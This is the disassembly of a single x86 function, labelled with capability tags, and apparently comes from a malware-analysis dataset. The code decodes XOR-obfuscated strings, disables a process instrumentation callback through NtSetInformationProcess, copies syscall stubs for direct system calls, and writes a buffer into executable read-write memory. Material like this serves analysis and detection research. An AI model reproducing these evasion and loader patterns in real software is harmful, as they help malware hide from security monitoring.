Function at 0x401420
Capabilities:
Access peb ldr_data
Get kernel32 base address
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x90
mov esi, esp
mov dword [esi + 0x78], ebp
mov dword [esi + 0x7c], esp
mov dword [esi + 0x88], 0xffffffff
lea eax, [esi + 0x80]
mov dword [esi + 0x84], 0x4018c0
mov ecx, dword fs:[0]
mov dword [esi + 0x80], ecx
mov dword fs:[0], eax
mov eax, 0xc3b3091b
mov ecx, 0x85857b02
mov dword [esi + 0x14], ecx
mov dword [esi + 0x10], eax
mov eax, 0xec988a12
mov ecx, 0x55c7c2ca
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x18], eax
mov edi, 0xacd26063
mov ecx, 0xf1eb127a
mov dword [esi + 8], ecx
mov edx, 0x83fba464
mov ecx, 0x55c7c2a7
lea ebx, [esi + 0x30]
xor eax, eax
mov eax, dword [esi + 8]
mov dword [esi + 0x34], eax
mov dword [esi + 0x30], edi
mov dword [esi + 0x3c], ecx
mov dword [esi + 0x38], edx
movaps xmm0, xmmword [esi + 0x10]
xorps xmm0, xmmword [ebx]
movaps xmmword [esi + 0x10], xmm0
movsd xmm0, qword [esi + 0x10]
movsd xmm1, qword [esi + 0x16]
mov eax, 0xc093142d
mov ebx, 0x90887d16
mov dword [esi + 0x14], ebx
mov dword [esi + 0x10], eax
mov eax, 0xeaadc110
mov ebx, 0x34b2b6d5
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x18], eax
mov eax, 0x79bc66e1
mov ebx, 0x8ee573ab
mov dword [esi + 0x24], ebx
lea ebx, [esi + 0x30]
mov dword [esi + 0x20], eax
mov eax, dword [esi + 8]
mov dword [esi + 0x34], eax
mov dword [esi + 0x30], edi
mov eax, 0xd9902776
mov dword [esi + 0x3c], ecx
mov ecx, 0x4950a5f9
mov dword [esi + 0x38], edx
mov edx, 0x14d92b8d
mov edi, 0x8e9c01c4
mov dword [esi + 0x44], edi
mov dword [esi + 0x40], edx
mov dword [esi + 0x2c], ecx
mov dword [esi + 0x4c], ecx
xor ecx, ecx
mov dword [esi + 0x28], eax
mov dword [esi + 0x48], eax
mov eax, ebx
mov dword [esi + 0x64], 0
mov dword [esi + 0x68], 0xe
mov dword [esi + 0x6c], 0xf
movsd qword [esi + 0x58], xmm0
movsd qword [esi + 0x5e], xmm1
mov dword [esi + 0xc], 0
mov dword [esi + 0x74], 0xe
movaps xmm0, xmmword [esi + 0x10]
xorps xmm0, xmmword [eax]
movaps xmmword [esi + 0x10], xmm0
movaps xmm0, xmmword [esi + 0x20]
xorps xmm0, xmmword [eax + 0x10]
movaps xmmword [esi + 0x20], xmm0
cmp byte [0x4222f4], 0
je 0x4015c9
push str.NtSetInformationProcess
push dword [0x422304]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4015d8
mov edi, eax
mov dword [esi + 0x34], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x38], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esi + 0x88], 0
push 0xc
push ebx
push 0x28
push eax
call edi
sar eax, 0x1f
and eax, 0xfffffffe
jmp 0x4015dd
mov eax, 0xfffffffa
mov dword [0x4222f0], eax
jmp 0x40171b
mov eax, 0xffffffff
mov dword [0x4222f0], eax
mov edi, dword [0x4222f8]
lea ebx, [esi + 0x10]
push ebx
push dword [0x422304]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x401611
push ebx
push dword [0x422308]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40172f
cmp byte [eax], 0xb8
je 0x401620
cmp byte [eax + 5], 0xba
jne 0x40171b
mov ecx, dword [0x4222f8]
movsd xmm0, qword [eax]
movsd xmm1, qword [eax + 7]
movsd qword [ecx + 7], xmm1
movsd qword [ecx], xmm0
mov dword [0x4222f0], 0
mov dword [esi + 0x88], 0
lea eax, [esi + 0x74]
lea ecx, [esi + 0xc]
push 0x40
push 0x1000
push eax
push 0
push ecx
push 0xffffffffffffffff
call edi
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x6c]
mov dword [esi + 8], eax
test eax, eax
je 0x4016ea
cmp ecx, 0x10
jb 0x40167c
mov ecx, dword [esi + 0x58]
jmp 0x40167f
lea ecx, [esi + 0x58]
mov edx, dword [esi + 0x68]
mov ebx, 0x29
xor edi, edi
jmp 0x401690
mov ebx, 0x4ae1
cmp ebx, 0x4822
jle 0x4016b0
cmp ebx, 0x4823
je 0x40168b
cmp ebx, 0x6784
jne 0x4016df
inc edi
mov ebx, 0x29
jmp 0x401690
cmp ebx, 0x29
je 0x4016ce
cmp ebx, 0x18be
jne 0x401690
movzx ebx, byte [ecx + edi]
mov eax, dword [esi + 8]
mov byte [eax + edi], bl
mov ebx, 0x6784
jmp 0x401690
cmp edi, edx
mov ebx, 0x4823
mov eax, 0x18be
cmovb ebx, eax
jmp 0x401690
cmp ebx, 0x4ae1
jne 0x401690
mov ecx, dword [esi + 0x6c]
cmp ecx, 0x10
jb 0x40171b
mov eax, dword [esi + 0x58]
lea edi, [ecx + 1]
cmp edi, 0x1000
jb 0x401711
mov edx, dword [eax - 4]
add eax, 0xfffffffc
sub eax, edx
cmp eax, 0x20
jae 0x401739
add ecx, 0x24
mov edi, ecx
mov eax, edx
push edi
push eax
call fcn.00401907
add esp, 8
mov eax, dword [esi + 0x80]
mov dword fs:[0], eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0xfffffffc
jmp 0x4015ce
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
push ebp
sub esp, 0x18
lea esi, [ebp - 0x8c]
mov ebp, dword [esi + 0x78]
lea ecx, [esi + 0x58]
call fcn.004012a0
add esp, 0x18
pop ebp
ret